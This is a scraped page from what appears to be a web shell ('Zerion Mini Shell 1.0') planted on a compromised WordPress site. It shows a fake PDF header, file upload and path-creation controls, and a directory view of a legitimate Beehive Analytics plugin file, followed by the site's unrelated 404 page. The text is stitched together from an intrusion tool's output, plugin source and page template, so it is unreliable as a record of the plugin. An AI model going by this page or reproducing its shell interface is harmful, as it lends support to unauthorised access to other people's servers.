%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /dom495844/wp-content/plugins/beehive-analytics/core/utils/abstracts/
Upload File :
Create Path :
Current File : //dom495844/wp-content/plugins/beehive-analytics/core/utils/abstracts/class-view.php

<?php
/**
 * The view base class of the plugin.
 *
 * @link    http://wpmudev.com
 * @since   3.2.0
 *
 * @author  Joel James <joel@incsub.com>
 * @package Beehive\Core\Utils\Abstracts
 */

namespace Beehive\Core\Utils\Abstracts;

// If this file is called directly, abort.
defined( 'WPINC' ) || die;

/**
 * Class View
 *
 * @package Beehive\Core\Utils\Abstracts
 */
class View extends Base {

	/**
	 * Class name for the react app container on every page.
	 *
	 * @var string $page_container
	 */
	protected $page_container = 'beehive-admin';

	/**
	 * SUI classes for the react app container on every page.
	 *
	 * @var string $sui_classes
	 */
	protected $sui_classes = 'sui-wrap sui-theme--light';

	/**
	 * Render an admin view template.
	 *
	 * @param string $view File name.
	 * @param array  $args Arguments.
	 *
	 * @since 3.2.0
	 *
	 * @return void
	 */
	public function view( $view, $args = array() ) {
		// Default views.
		$file_name = BEEHIVE_DIR . 'templates/' . $view . '.php';

		// If file exist, set all arguments are variables.
		if ( file_exists( $file_name ) && is_readable( $file_name ) ) {
			if ( ! empty( $args ) ) {
				$args = (array) $args;
				// phpcs:ignore
				extract( $args );
			}

			/* @noinspection PhpIncludeInspection */
			include $file_name;
		}
	}

	/**
	 * Render the unified admin page wrapper and enqueue assets.
	 *
	 * This provides a consistent wrapper structure and asset loading
	 * for all Beehive admin pages.
	 *
	 * @param string $script_handle Optional. Script handle to enqueue. Default 'beehive-admin'.
	 * @param string $style_handle  Optional. Style handle to enqueue. Default 'beehive-admin'.
	 *
	 * @since 3.4.0
	 *
	 * @return void
	 */
	protected function render_admin_page( $script_handle = 'beehive-admin', $style_handle = 'beehive-admin' ) {
		?>
		<div id="sui-wrap">
			<div class="<?php echo esc_attr( $this->page_container ) . ' ' . esc_attr( $this->sui_classes ); ?>" id="<?php echo esc_attr( $this->page_container ); ?>"></div>
		</div>
		<?php

		// Enqueue assets.
		\Beehive\Core\Controllers\Assets::instance()->enqueue_style( $style_handle );
		\Beehive\Core\Controllers\Assets::instance()->enqueue_script( $script_handle );
	}
}

Zerion Mini Shell 1.0
Page not found - Broad Street Financial
[et_pb_section fb_built=”1″ theme_builder_area=”post_content” _builder_version=”4.20.0″ _module_preset=”default”][et_pb_row _builder_version=”4.20.0″ _module_preset=”default” theme_builder_area=”post_content”][et_pb_column _builder_version=”4.20.0″ _module_preset=”default” type=”4_4″ theme_builder_area=”post_content”][et_pb_text _builder_version=”4.20.0″ _module_preset=”default” theme_builder_area=”post_content” hover_enabled=”0″ sticky_enabled=”0″]

Page Not Found

Sorry the requested page you are looking for is missing or has been moved.

Please check out our site and see if you can find what you are looking for.

[/et_pb_text][/et_pb_column][/et_pb_row][/et_pb_section]